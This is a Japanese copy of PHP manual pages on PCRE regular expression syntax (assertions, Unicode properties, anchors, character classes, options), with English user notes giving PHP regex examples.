単語構成文字とは、英字または数字またはアンダースコア文字であり、Perl が定義するところの「単語」と成り得る文字のことです。文字および数字の 定義は、PCRE の文字テーブルにより制御され、ロケールを指定して マッチングを行うと変わる可能性があります。 例えば、"fr" （フランス語）ロケールの場合、128 を超える 文字コードのいくつかは、アクセント付きの文字に使われており、 これらは \w とマッチします。

これらの文字型表記は、文字クラスの内外によらず使用可能で、 対応する型のたかだか 1 文字とマッチします。カレントのマッチング位置が 検索対象文字列の終端である場合、マッチできる文字が無いので、 マッチは失敗します。

バックスラッシュの第 4 の使用法は、簡単な言明 (assertion) です。 言明とは、マッチがある特定の位置でだけ可能だという条件を指定するもので、 検索対象文字列から文字を消費 (consume)〔つまり文字自体にマッチ〕 しません。サブパターンを使ったより複雑な言明の方法もありますが、 それについての解説は後ほど行います。バックスラッシュを使った言明は、 次のものがあります

\b
単語境界
\B
非単語境界
\A
検索対象文字列の始端（複数行モードとは独立）
\Z
検索対象文字列の終端、または終端の改行（複数行モードとは独立）
\z
検索対象文字列の終端（複数行モードとは独立）
\G
マッチングの開始位置

これらの言明は、文字クラス内では使用できません（また、文字クラス内では、 "\b" はバックスペース文字という別の意味を持つので 注意してください）。

単語境界 (word boundary) とは、検索対象文字列において、 カレントの文字およびその前の文字が同時に \w もしくは \W にマッチしない（すなわち、片方が \w にマッチし、もう片方が \W にマッチする）位置、もしくは、文字列の始めか終わりで、 その始めか終わりの文字が \w にマッチする位置の ことです。

言明 \A, \Z, \z は、（アンカー で説明する）ハット記号やドル記号とは 異なり、オプション設定によらず、文字列の始端または終端だけに マッチします。これらの言明は、PCRE_MULTILINE および PCRE_DOLLAR_ENDONLY オプションの影響を受けません。 \Z と \z との違いは、 \Z は文字列の末尾の改行の前の位置および文字列の 終端にマッチするのに対し、\z は文字列の終端にのみ マッチすることです。

言明 \G は、カレントのマッチング位置が、 preg_match() 関数の offset 引数に指定されたマッチングの開始位置である場合に真になります。 offset が非ゼロの場合は、\A と等価ではありません。

\Q と \E とを使って、 パターン中のメタ文字を無視させることができます。 たとえば、

      \w+\Q.$.\E$
は、文字列の終端において1つ以上の単語構成文字のあとに .$. というリテラルが続いたものにマッチします。

\K を使用すると、マッチの開始位置をリセットできます。 これは PHP 5.2.4 以降で使用可能です。たとえば、パターン foo\Kbar は "foobar" にマッチしますが、 結果は "bar" にマッチしたと報告されます。 \K を使用しても、キャプチャした部分文字列には影響を及ぼしません。 たとえば、パターン (foo)\Kbar が "foobar" にマッチしたときの最初の部分文字列は "foo" です。

User Contributed Notes

tharabar at gmail dot com 19-Sep-2019 04:08
Required to use \007 instead of \a
Anonymous 25-Jul-2019 03:03
A non breaking space is not considered as a space and cannot be caught by \s.

it can be found with :

- [\xc2\xa0] in utf-8
- \x{00a0} in unicode
Wirek 22-Feb-2018 01:38
Significantly updated version (with new $pat4 utilising \R properly, its results and comments):
Note that there are (sometimes difficult to grasp at first glance) nuances of meaning and application of escape sequences like \r, \R and \v - none of them is perfect in all situations, but they are quite useful nevertheless. Some official PCRE control options and their changes come in handy too - unfortunately neither (*ANYCRLF), (*ANY) nor (*CRLF) is documented here on php.net at the moment (although they seem to be available for over 10 years and 5 months now), but they are described on Wikipedia ("Newline/linebreak options" at https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions) and official PCRE library site ("Newline convention" at http://www.pcre.org/original/doc/html/pcresyntax.html#SEC17) pretty well. The functionality of \R appears somehow disappointing (with default configuration of compile time option) according to php.net as well as official description ("Newline sequences" at https://www.pcre.org/original/doc/html/pcrepattern.html#newlineseq) when used improperly.
A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';    // This works excellent in JavaScript (Firefox 7.0.1+)
$pat2='/\w\r?$/mi';    // Slightly better
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org when used improperly
$pat4='/\w(?=\R)/i';    // Much better with allowed lookahead assertion (just to detect without capture) without multiline (/m) mode; note that with alternative for end of string ((?=\R|$)) it would grab all 7 elements as expected
$pat5='/\w\v?$/mi';
$pat6='/(*ANYCRLF)\w$/mi';    // Excellent but undocumented on php.net at the moment (described on pcre.org and en.wikipedia.org)
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat4, $str, $m4);
$s=preg_match_all($pat5, $str, $m5);
$t=preg_match_all($pat6, $str, $m6);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n4 !!! $pat4 ($r): ".print_r($m4[0], true)
    ."\n5 !!! $pat5 ($s): ".print_r($m5[0], true)
    ."\n6 !!! $pat6 ($t): ".print_r($m6[0], true);
// Note the difference among the three very helpful escape sequences in $pat2 (\r), $pat3 and $pat4 (\R), $pat5 (\v) and altered newline option in $pat6 ((*ANYCRLF)) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

4 !!! /\w(?=\R)/i (6): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
)

5 !!! /\w\v?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

6 !!! /(*ANYCRLF)\w$/mi (7): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
    [6] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
Wirek 20-Feb-2018 12:21
Note that there are (sometimes difficult to grasp at first glance) nuances of meaning and application of escape sequences like \r, \R and \v - none of them is perfect in all situations, but they are quite useful nevertheless. Some official PCRE control options and their changes come in handy too - unfortunately neither (*ANYCRLF), (*ANY) nor (*CRLF) is documented here on php.net at the moment (although they seem to be available for over 10 years and 5 months now), but they are described on Wikipedia ("Newline/linebreak options" at https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions) and official PCRE library site ("Newline convention" at http://www.pcre.org/original/doc/html/pcresyntax.html#SEC17) pretty well. The functionality of \R appears somehow disappointing (with default configuration of compile time option) according to php.net as well as official description ("Newline sequences" at https://www.pcre.org/original/doc/html/pcrepattern.html#newlineseq).

A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';    // This works excellent in JavaScript (Firefox 7.0.1+)
$pat2='/\w\r?$/mi';
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org
$pat4='/\w\v?$/mi';
$pat5='/(*ANYCRLF)\w$/mi';    // Excellent but undocumented on php.net at the moment
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat4, $str, $m4);
$s=preg_match_all($pat5, $str, $m5);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n4 !!! $pat4 ($r): ".print_r($m4[0], true)
    ."\n5 !!! $pat5 ($s): ".print_r($m5[0], true);
// Note the difference among the three very helpful escape sequences in $pat2 (\r), $pat3 (\R), $pat4 (\v) and altered newline option in $pat5 ((*ANYCRLF)) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

4 !!! /\w\v?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

5 !!! /(*ANYCRLF)\w$/mi (7): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
    [6] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
vea dot git at gmail dot com 12-Jul-2017 03:36
\b BS

$str=""

$str =str_replace("\b", "", $str);
//echo 

$str =str_replace(chr(8), "", $str);
//echo

$str =str_replace("\\b", "", $str);
//echo
error17191 at gmail dot com 21-Sep-2015 12:55
Some escape sequence like the tab character \t won't work inside single quotes '\t', But they work inside double quotes.
Other escape sequences like the backspace character won't work unless you use its ascii codepoint and chr() function i.e. chr(8)
info at maisuma dot jp 17-Jun-2014 04:47
You can use Unicode character escape sequences (tested on PHP 5.3.3 & PCRE 7.8).

<?php
//This source is supposed to be written in UTF-8.
$a='?';
var_dump(preg_match('/\\x{20ac}/u',$a)); //Match!
bluemoehre at gmx dot de 14-Jan-2014 12:06
Using \R in character classes is NOT possible:

var_dump( preg_match('#\R+#',"\n") ); -> int(1)
var_dump( preg_match('#[\R]+#',"\n") ); -> int(0)
collons at ya dot com 04-Oct-2013 04:06
The pattern "/\\A/" may be replaced by "/\\\A/" in order to match a "\A" string. Any other escaped "\" looks to work fine so you can use "/\\S/", for instance, to match a "\S" string.
mike at eastghost dot com 28-Mar-2012 07:25
"line break" is ill-defined:

 -- Windows uses CR+LF (\r\n)
 -- Linux LF (\n)
 -- OSX CR (\r)

Little-known special character:
\R in preg_* matches all three.

preg_match( '/^\R$/', "match\nany\\n\rline\r\nending\r" ); // match any line endings
grigor at the domain gatchev.info 22-Jun-2011 01:59
As \v matches both single char line ends (CR, LF) and double char (CR+LF, LF+CR), it is not a fixed length atom (eg. is not allowed in lookbehind assertions).


Unicode 文字プロパティ

PHP 5.1.0 以降、UTF-8 モード を設定した場合に、 一般的な文字タイプにマッチする新たなエスケープシーケンスが 3 つ追加されました。

\p{xx}
xx プロパティを持つ文字
\P{xx}
xx プロパティを持たない文字
\X
拡張 Unicode シーケンス

ここで xx で表されているプロパティ名は、Unicode で 一般カテゴリプロパティ (general category properties) として規定されているものに なります。すべての文字は、いずれかひとつのプロパティを持ちます。 プロパティは、2 文字の略語で表されます。Perl と同じく、 開き波カッコとプロパティ名との間にハット文字を記述することで否定を指定できます。 たとえば、\p{^Lu} は \P{Lu} と同じです。

\p もしくは \P の後に、一文字だけを記述すると その文字で始まるすべてのプロパティが指定されたことになります。 この場合、否定の指定をしていない場合、波カッコを使用しなくても構いません。 以下の 2 つの例は等価になります。

\p{L}
\pL

使用可能なプロパティコード
プロパティ | マッチ | 備考
C | その他 (Other) |
Cc | コントロール文字 (Control) |
Cf | 非可視整形用文字 (Format) |
Cn | 未定義コードポイント (Unassigned) |
Co | 私的利用領域 (Private use) |
Cs | サロゲート (Surrogate) |
L | アルファベット (Letter) | Ll、 Lm、Lo、Lt および Lu を含む
Ll | 小文字アルファベット (Lower case letter) |
Lm | 擬似文字 (Modifier letter) |
Lo | その他の文字 (Other letter) |
Lt | タイトル文字 (Title case letter) |
Lu | 大文字アルファベット (Upper case letter) |
M | 記号 (Mark) |
Mc | 修飾文字 (Spacing mark) |
Me | 他の文字を囲むための文字 (Enclosing mark) |
Mn | 他の文字を修飾するための文字 (Non-spacing mark) |
N | 数字 (Number) |
Nd | 10 進数字 (Decimal number) |
Nl | 数値を表す文字 (Letter number) |
No | その他の数字 (Other number) |
P | 句読記号 (Punctuation) |
Pc | 連結用句読記号 (Connector punctuation) |
Pd | ダッシュ (Dash punctuation) |
Pe | 閉じ句読記号 (Close punctuation) |
Pf | 末尾句読記号 (Final punctuation) |
Pi | 先頭句読記号 (Initial punctuation) |
Po | その他の句読記号 (Other punctuation) |
Ps | 開き句読記号 (Open punctuation) |
S | 記号 (Symbol) |
Sc | 通貨記号 (Currency symbol) |
Sk | 合わせ文字 (Modifier symbol) |
Sm | 数学記号 (Mathematical symbol) |
So | その他の記号 (Other symbol) |
Z | 区切り文字 (Separator) |
Zl | 行区切り文字 (Line separator) |
Zp | 段落区切り文字 (Paragraph separator) |
Zs | 空白文字 (Space separator) |

InMusicalSymbols のような拡張プロパティ (extended properties) は PCRE によりサポートされていません。

大小文字を区別しないマッチングを設定していても、これらのエスケープ シーケンスには影響しません。たとえば、\p{Lu} は 常に大文字にのみマッチします。

Unicode の文字は、何らかのスクリプトに属するものとして定義されています。 スクリプト名を指定すれば、そのスクリプトの文字群の一文字にマッチさせることができます。 たとえば、次のように使います。

  • \p{Greek}
  • \P{Han}

どのスクリプトにも属しない文字は、ぜんぶまとめて Common で表します。現在サポートするスクリプトは次のとおりです。

サポートするスクリプト
Arabic | Armenian | Avestan | Balinese | Bamum
Batak | Bengali | Bopomofo | Brahmi | Braille
Buginese | Buhid | Canadian_Aboriginal | Carian | Chakma
Cham | Cherokee | Common | Coptic | Cuneiform
Cypriot | Cyrillic | Deseret | Devanagari | Egyptian_Hieroglyphs
Ethiopic | Georgian | Glagolitic | Gothic | Greek
Gujarati | Gurmukhi | Han | Hangul | Hanunoo
Hebrew | Hiragana | Imperial_Aramaic | Inherited | Inscriptional_Pahlavi
Inscriptional_Parthian | Javanese | Kaithi | Kannada | Katakana
Kayah_Li | Kharoshthi | Khmer | Lao | Latin
Lepcha | Limbu | Linear_B | Lisu | Lycian
Lydian | Malayalam | Mandaic | Meetei_Mayek | Meroitic_Cursive
Meroitic_Hieroglyphs | Miao | Mongolian | Myanmar | New_Tai_Lue
Nko | Ogham | Old_Italic | Old_Persian | Old_South_Arabian
Old_Turkic | Ol_Chiki | Oriya | Osmanya | Phags_Pa
Phoenician | Rejang | Runic | Samaritan | Saurashtra
Sharada | Shavian | Sinhala | Sora_Sompeng | Sundanese
Syloti_Nagri | Syriac | Tagalog | Tagbanwa | Tai_Le
Tai_Tham | Tai_Viet | Takri | Tamil | Telugu
Thaana | Thai | Tibetan | Tifinagh | Ugaritic
Vai | Yi |  |  |

\X は、Unicode 拡張書記素クラスタにマッチします。 拡張書記素クラスタとは、ひとつあるいは複数の Unicode 文字の組み合わせで単一のグリフを構成するものです。 事実上、これは Unicode 版の . だと考えてかまいません。 その文字をレンダリングするために実際に何文字が使われているかは考えずに、ひとつの合成文字に対応します。

8.32 より古いバージョンの PCRE (これは、組み込みの PCRE ライブラリを使っている場合には PHP 5.4.14 より前のバージョンにあたります) では、 \X は (?>\PM\pM*) と等価です。 つまり、記号 (mark) プロパティの付いていない文字と、その後に続く 0 以上の 記号プロパティ付きの文字にマッチし、その並びをアトミック (atomic) な まとまりとして取り扱います。記号プロパティ付きの文字とは、アクセント記号などの 直前の文字に対して影響するようなもののことです。

Unicode プロパティを使った文字列マッチングは速くありません。PCRE は 15,000 以上のデータからなるストラクチャを検索する必要が有るためです。 そのため、PCRE では、\d や \w といった 以前から有るエスケープシーケンスは Unicode プロパティを使用しないように なっています。

User Contributed Notes

php at lnx-bsp dot net 25-Sep-2017 05:53
Not made clear in the top of page explanation, but these escaped character classes can be included within square brackets to make a broader character class. For example:

<?php preg_match( '/[\p{N}\p{L}]+/', $data ) ?>

Will match any combination of letters and numbers.
huhwatnouDONTspamPLEASE at hotmail dot com 20-Jan-2016 09:00
To select UTF-8 mode for the additional escape sequences (\p{xx}, \P{xx}, and \X) , use the "u" modifier (see http://php.net/manual/en/reference.pcre.pattern.modifiers.php).

I wondered why a German sharp S (s) was marked as a control character by \p{Cc} and it took me a while to properly read the first sentence: "Since 5.1.0, three additional escape sequences to match generic character types are available when UTF-8 mode is selected. " :-$ and then to find out how to do so.
xuantoaiph at gmail dot com 24-Dec-2013 08:03
My country, Vietnam, have our own alphabet table:
http://en.wikipedia.org/wiki/Vietnamese_alphabet
I hope PHP will support better than in Vietnamese.
Yzmir Ramirez 11-Oct-2013 07:51
If you are working with older environments you will need to first check to see if the version of PCRE will work with unicode directives described above:

<?php

// Need to check PCRE version because some environments are
// running older versions of the PCRE library
// (run in *nix environment `pcretest -C`)

$allowInternational = false;
if (defined('PCRE_VERSION')) {
    if (intval(PCRE_VERSION) >= 7) { // constant available since PHP 5.2.4
        $allowInternational = true;
    }
}
?>

Now you can do a fallback regex (e.g. use "/[a-z]/i"), when the PCRE library version is too old or not available.
o_shes01 at uni-muenster dot de 22-Jan-2011 06:23
For those who wonder: 'letter_titlecase' applies to digraphs/trigraphs, where capitalization involves only the first letter.
For example, there are three codepoints for the "LJ" digraph in Unicode:
  (*) uppercase "LJ": U+01C7
  (*) titlecase "Lj": U+01C8
  (*) lowercase "lj": U+01C9
o_shes01 at uni-muenster dot de 21-Jan-2011 10:08
For those who wonder: 'letter_titlecase' applies to digraphs/trigraphs, where capitalization involves only the first letter.
For example, there are three codepoints for the "LJ" digraph in Unicode:
  (*) uppercase "LJ": U+01C7
  (*) titlecase "Lj": U+01C8
  (*) lowercase "lj": U+01C9
mercury at caucasus dot net 08-May-2010 10:32
An excellent article explaining all these properties can be found here: http://www.regular-expressions.info/unicode.html
suit at rebell dot at 01-Mar-2010 05:13
these properties are usualy only available if PCRE is compiled with "--enable-unicode-properties"

if you want to match any word but want to provide a fallback, you can do something like that:

<?php
if(@preg_match_all('/\p{L}+/u', $str, $arr) {
  // fallback goes here
  // for example just '/\w+/u' for a less acurate match
}
?>


アンカー

ハット記号 (^) は、文字クラス外でマッチモード (matching mode) がデフォルトの場合、 カレントのマッチング位置が対象文字列の始端である場合に真だ という言明です。文字クラス内では、ハット記号 (^) はまったく別の意味と なります（別記参照）。

パターン中で選択肢を用いる場合は、ハット記号 (^) は、それが必要な選択肢の 先頭に記述すればよく、パターン全体の先頭にしか記述できない訳では ありません。すべての選択肢がハット記号 (^) で始まる場合、つまり パターンが対象文字列の始端でのみマッチするように制限されている パターンは、固定 (anchored) パターンと呼ばれます（もちろん、 他にもパターンを固定にする方法はあります）。

ドル記号 ($) は、（デフォルトでは）カレントのマッチング位置が 対象文字列の終端にあるか、文字列の終わりの改行文字の直前にある場合に 真だという言明です。パターン中で選択肢を用いる場合は、ドル記号 ($) は、 必要な選択肢の最後に記述すればよく、パターン全体の最後にしか 記述できない訳ではありません。 ドル記号は、文字クラス内では特別な意味を持ちません。

コンパイル時またはマッチング時に PCRE_DOLLAR_ENDONLY オプションを設定すると、ドル記号の動作を文字列の終端でのみ マッチするように変更することができます このオプションは \Z 言明には影響しません。

ハット記号とドル記号の動作は、PCRE_MULTILINE オプションを設定すると変化します。この場合、対象文字列の始端および 終端にマッチするのに加えて、対象文字列の "\n" 文字の直前および直後に それぞれマッチします。例えば、パターン /^abc$/ は、複数行モードに おいては、対象文字列 "def\nabc" にマッチしますが、 複数行モードでない場合はマッチしません。すなわち、すべての選択肢が "^" で始まっており単一行モードでは固定のパターンも、複数行モードでは 固定パターンでなくなります。PCRE_DOLLAR_ENDONLY オプションは、 PCRE_MULTILINE オプションが設定されている場合は無視されます。

どちらのモードでも、エスケープシーケンス \A, \Z, \z は、 対象文字列の始端および終端にマッチすることに注意してください。ですので、 パターン中の選択肢がすべて \A で始まる場合、PCRE_MULTILINE オプションの設定によらず、そのパターンは固定となります。

User Contributed Notes

There are no user contributed notes for this page.


ドット

パターン中のドット（ピリオド、終止符）は、文字クラス外では、 対象文字列の任意の 1 文字にマッチします。非出力文字も含まれます。 ただし、（デフォルトでは）改行文字とはマッチしません。 PCRE_DOTALL オプションを設定すると、ドットは改行にもマッチするようになります。 ドットの処理は、ハット記号およびドル記号とは完全に独立しています。 共通な点は共に改行文字と関連することだけです。ドットは、 文字クラス内では特別な意味を持ちません。

\C は単一バイトの文字にマッチします。 これは、UTF-8 モード で、ドットが複数バイトの文字にも マッチするような場合に有用です。

User Contributed Notes

There are no user contributed notes for this page.


文字クラス

開き角カッコは文字クラス (character class) の開始を表し、 閉じ角カッコにより文字クラスは終了します。閉じ角カッコだけでは、 特別な意味を持ちません。閉じ角カッコを文字クラスのメンバとしたい場合は、 文字クラスの最初の文字（否定のハット記号がある場合はその直後）とするか、 バックスラッシュでエスケープする必要があります。

文字クラスは、検索対象文字列のたかだか 1 文字にマッチします。 マッチする文字は、その文字クラスによって定義された文字集合のうちの どれかです。ただし、文字クラスの最初の文字がハット記号の場合は、 マッチする文字は、その文字クラスに定義されていない文字となります。 ハット記号自体をクラスのメンバとしたい場合は、文字クラスの 最初の文字としないか、バックスラッシュでエスケープしてください。

例えば、文字クラス [aeiou] は小文字の母音にマッチしますが、[^aeiou] は 小文字の母音以外の文字にマッチします。ハット記号は、含まれない文字を 列挙することにより文字クラスに含まれる文字を指定するための簡略表記です。 文字クラスは、言明ではありません。対象文字列から文字を消費します。また、 カレントのポインタが文字列の終端にある場合には、マッチに失敗します。

大小文字を区別しないマッチングを行うよう設定した場合は、 クラス内の文字は大小文字の両方を表します。例えば、 大小文字を区別しない場合、[aeiou] は "a" にも "A" にもマッチします。 同じく大小文字を区別しない場合 [^aeiou] は "A" にマッチしませんが、 区別する場合はマッチします

PCRE_DOTALL または PCRE_MULTILINE オプションをどのように設定しようとも、改行文字は、文字クラスにおいて 特別な扱いはされません。たとえば、 [^a] のようなクラスは、 常に改行にマッチします。

マイナス (ハイフン) 記号は、文字クラスで文字の範囲を指定するために 使われます。例えば、[d-m] は d と m の間のあらゆる文字にマッチします。 マイナス記号が文字クラス内に必要な場合は、バックスラッシュで エスケープしてください。もしくは、文字クラスの最初または最後など、 範囲を示すと解釈されない場所に記述してください。

文字リテラル "]" を、文字範囲を示す最後の文字として使うことは できません。 [W-]46] というパターンは、2 つの文字 ("W" および"-") が 含まれるクラスの後に文字列リテラル "46]" が続いていると解釈され、 "W46]" や "-46]" にマッチします。しかし、"]" をバックスラッシュで エスケープすると文字範囲の終端として解釈され、 [W-]46] は、 範囲指定の後に 2 つの文字が続く 1 つのクラスとして解釈されます。 "]" の 8 進あるいは 16 進表現も文字範囲の終端として使用可能です。

文字範囲指定では、ASCII 照合順序 (collating sequence) が用いられます 〔つまり、範囲指定する際の文字の並び順として ASCII が用いられます〕。 [\000-\037] のような、数値的な文字の指定も使用可能です。大小文字を 区別しないマッチングを行うよう設定した場合、パターン中の英字は 大小文字の両方にマッチします。例えば、[W-c] は、[][\^_`wxyzabc] に 等価であり、大小文字に関係なくマッチします。また、 "fr" ロケールの文字テーブルを使う場合、[\xc8-\xcb] は、 大小文字の区別無くアクセント付きの E にマッチします。

文字型 \d, \D, \s, \S, \w, \W も、文字クラス内で使え、 マッチする文字を追加することが可能です。例えば、[ABCDEF] は、 16進数にマッチします。ハット記号と大文字の文字型を組み合わせることで、 小文字の文字型がマッチするものより狭い文字集合を 簡便に指定することができます。例えば、クラス [^\W_] は、 〔単語構成〕文字および数字にマッチしますが、アンダースコアには マッチしません。

\, -, (始端の)^ および終端の ] 以外のすべての非英数字は、 文字クラスにおいて特別な意味を持たない文字ですが、 エスケープしても問題はありません。 パターンの終端文字は常に特別扱いされるので、 正規表現内で私用する場合は必ずエスケープしなければなりません。

Perl は、POSIX 記法の文字クラスもサポートしています。これは、 [: と :] で囲んだ名前を角カッコ内で使うものです。 PCRE でもこの記法に対応しています。たとえば [01[:alpha:]%] は "0"、"1"、任意のアルファベット、あるいは "%" にマッチします。対応しているクラス名は次のとおりです。

文字クラス
alnum | letters and digits
alpha | letters
ascii | character codes 0 - 127
blank | space or tab only
cntrl | control characters
digit | decimal digits (same as \d)
graph | printing characters, excluding space
lower | lower case letters
print | printing characters, including space
punct | printing characters, excluding letters and digits
space | white space (not quite the same as \s)
upper | upper case letters
word | "word" characters (same as \w)
xdigit | hexadecimal digits
space 文字は HT (9), LF (10), VT (11), FF (12), CR (13), およびスペース (32) です。この中に VT 文字 (コード 11) が含まれていることに注目しましょう。 この点で、"space" は \s と異なります。こちらは VT を含みません (Perl との互換性のため)。

word は Perl 拡張で、blank は Perl 5.8 からの GNU 拡張です。それ以外の Perl 拡張には否定があります。否定を指示するには ^ をコロンの後に続けます。たとえば [12[:^digit:]] は "1"、"2"、あるいは任意の非数値にマッチします。

UTF-8 モードでは、128 より大きなコードはどの POSIX 文字クラスにもマッチしません。 PHP 5.3.0 と libpcre 8.10 の組み合わせ以降では、 いくつかの文字クラスが Unicode 文字プロパティを使うように変わりました。 それらの文字クラスでは、ここに挙げた制約はあてはまりません。 詳細は、» PCRE(3) のマニュアル を参照ください。

Unicode 文字プロパティは、文字クラスに含めることができます。 しかし、範囲指定に含めることはできません。 マイナス (ハイフン) を Unicode 文字クラスの後に続けた場合は、その文字としてマッチします。 範囲指定を Unicode 文字プロパティで終えようとすると、警告が発生します。

User Contributed Notes

php at delegated dot net 04-Sep-2018 06:40
Some characters may not work as expected within a custom class. MS double quote for example is unrecognised when included in a class but is recognised otherwise.

ie:
<?php
preg_match_all('/<a href=("|")/')
?> will match but
<?php
preg_match_all('/<a href=[""]/')
?> will not
when applied to <a href="path">
wordragon at wrestingcontrol dot com 03-May-2018 04:52
The documentation says:

"The character types \d, \D, \s, \S, \w, and \W may also appear in a character class, and add the characters that they match to the class."

It does not stress that other escape types may not.  I wanted to split a string on either a comma (","), or a new line "\n".  When my input stream began to include "\r\n", I decided to change "\n" to "\R".  Unfortunately, my test string did not include a capital "R", or I might have found the problem sooner.  My '/[\R,]/' was simply splitting on comma and the letter "R".

My test string...
"The Yum-Yum Company\r\n127 bernard street"

What DID work: '/(?:\R|,)+/'

["The Yum-Yum Company","127 bernard street"]

Given character classes only match one character, I can see clearly why my expectations were justifiably dashed, but hopefully this comment will save time for someone else.

I might add, this has taught me the value of PCRE_EXTRA (modifier "X"), which I have begun to use routinely now.


選択肢

縦線は、パターンに選択肢 (alternative) を列挙するために使われます。 例えば、パターン

      gilbert|sullivan
は、"gilbert" または "sullivan" にマッチします。 選択肢の数に制限はありません。また、空の選択肢も可能です (空の文字列にマッチします)。マッチの手順としては、 各選択肢が左から右に順にマッチするかどうか試行され、 最初にマッチに成功した選択肢が使われます。選択肢を（後述する） サブパターン内に記述した場合、マッチの「成功」とは、 サブパターン内の選択肢も、メインのパターンの他の部分もマッチした ということを意味します。

User Contributed Notes

There are no user contributed notes for this page.


内部オプション設定

PCRE_CASELESS, PCRE_MULTILINE, PCRE_DOTALL PCRE_UNGREEDY, PCRE_EXTRA, PCRE_EXTENDED および PCRE_DUPNAMES オプションの設定は、パターン中で変更できます。これには、Perl オプション文字を "(?" と ")" とで括った並びを用います。 オプション文字には以下のものがあります。

内部オプション文字
i | PCRE_CASELESS
m | PCRE_MULTILINE
s | PCRE_DOTALL
x | PCRE_EXTENDED
U | PCRE_UNGREEDY
X | PCRE_EXTRA (PHP 7.3.0 以降はサポートされません)
J | PCRE_INFO_JCHANGED

例えば、(?im) は、大小文字を区別しない、複数行モードのマッチングを 設定します。ハイフンを前につけることにより、そのオプションを 解除することも可能です。 (?im-sx) のように設定と解除とを 組み合わせることも可能です。この場合、PCRE_CASELESS と PCRE_MULTILINE とが設定され、PCRE_DOTALL と PCRE_EXTENDED とが解除されます。 オプション文字がハイフンの前にも後にも指定された場合、 そのオプションは解除されます。

オプションの変更がトップレベル（つまりサブパターンのカッコの外）で行われた場合、 その変更はパターンの後ろの部分に適用されます。 パターン /ab(?i)c/ は "abc" および "abC" にマッチします。

サブパターンの内部でオプションの変更を行った場合は、 その効果は違ったものになります。この動作変更は、Perl 5.005 で行われました。サブパターン中のオプション変更は、そのサブパターンの 設定が行われた場所以降の部分にのみ影響します。そのため、パターン

      (a(?i)b)c
は、abc および aBc にマッチし、他の文字列にはマッチしません （PCRE_CASELESS が設定されていないと仮定）。このように、パターンの各場所に 異なった設定を行うようなオプション指定が可能です。 ある選択肢に行われた設定変更は、同じサブパターン中の後に続く選択肢に 波及します。例えば、パターン
      (a(?i)b|c)
は、"ab", "aB", "c", "C" にマッチします。"C" にマッチする場合を 見てみると、オプション設定が行われている最初の選択肢は マッチせずに捨てられてしまっています。それでも、オプションの設定は 行われ "C" にマッチします。これは、オプション設定の効果が コンパイル時に生じることによります。さもないと、 非常に奇妙な動作をするかもしれません。

PCRE 特有のオプション PCRE_UNGREEDY および PCRE_EXTRA は、 それぞれ文字 U および X を用いて、Perl 互換のオプションと同様に 変更することが可能です。 (?X) フラグの設定は特別で、最上位においても、 パターン中で他の設定を有効にする前に指定する必要があります。 このフラグは、最初に指定するのが最善です。

User Contributed Notes

mike at clove dot com 18-Mar-2010 07:48
When using the (?i:foo) syntax, it appears that the group is not included in the 'matches' argument unless it is nested in an additional set of parenthesis, for example: ((?i:foo))
